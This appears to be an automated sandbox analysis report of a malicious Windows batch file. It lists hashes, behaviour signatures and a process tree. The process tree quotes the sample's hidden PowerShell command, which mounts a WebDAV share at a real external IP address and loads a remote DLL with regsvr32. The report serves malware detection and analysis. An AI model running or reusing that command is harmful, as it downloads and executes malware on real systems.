Analysis

  • max time kernel
    141s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    23/07/2024, 01:15

General

  • Target

    2882389861217026308.bat

  • Size

    19KB

  • MD5

    b64441757f756dbfe6fd8c2229377782

  • SHA1

    19002a4e5e0e69e1186a7992b0e26f4e19e711b8

  • SHA256

    e65c1d537784c4db0d97a883470cd98139ec50beaf77058012d2e51a5ae524b9

  • SHA512

    6dec01ee6a561a82d49768a3a0814cca17d7a5d68812a99c79f7ef794edecb3b682c6a24bb8ca115eafcb2dda6aa342e830b5389f4cff4aaf4b99dcaa7c72364

  • SSDEEP

    384:yoO2zS0+ZujbY/6E5+jmmzNVf6xiJ4QMowve45NDnqM+on/ehWrwVvFKylqKDJ:yoO2lj6z5sDf6g2QdwWE9RrIvF9gKN

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\2882389861217026308.bat"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:5076
    • C:\Program Files\Windows NT\Accessories\wordpad.exe
      "C:\Program Files\Windows NT\Accessories\wordpad.exe"
      2⤵
      • Suspicious use of SetWindowsHookEx
      PID:852
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\324002650123129.dll
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4672
      • C:\Windows\system32\net.exe
        "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
        3⤵
          PID:1820
        • C:\Windows\system32\regsvr32.exe
          "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\324002650123129.dll
          3⤵
            PID:748
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
        1⤵
          PID:440

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_f3qq3xod.xtj.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • memory/4672-5-0x0000028078C70000-0x0000028078C92000-memory.dmp

          Filesize

          136KB